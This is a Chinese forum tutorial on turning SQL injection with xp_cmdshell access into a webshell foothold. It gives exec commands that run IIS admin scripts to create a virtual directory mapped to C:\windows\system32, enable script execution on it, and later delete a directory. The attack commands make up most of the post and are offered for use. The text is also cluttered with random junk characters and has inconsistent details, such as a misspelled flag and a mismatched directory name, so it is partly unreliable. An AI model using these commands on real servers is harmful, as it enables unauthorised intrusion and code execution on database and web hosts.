返回列表 发帖

[原创教程] 如何SQL注入建立虚拟目录

很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:
- J5 Y+ ~7 b3 `# A1 @
) Z5 Z4 l# U, _/ U  |9 s/ Aexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'4 E$ v# r6 ?3 a+ P' Y
建立虚拟目录win,指向c:\windows\system32
2 z/ ^& l, q2 hexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
; m! L# e. i# e: o. V$ [让win句有解析asp脚本权限
! M" \) h8 _) a, j8 T; S9 z4 U+ ?5 R
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"6 l) u  n& Y# O
删除虚拟目录。% G2 h  E: [" c0 `! I
找不到web绝对路径的一种解决办法,0 A% }& Y9 x9 ]( X- Y

! N1 L+ ?& G( P0 l403错误,表示虚拟目录建好了。。
1

评分人数

呀  LZ好久不见你上了啊

TOP

返回列表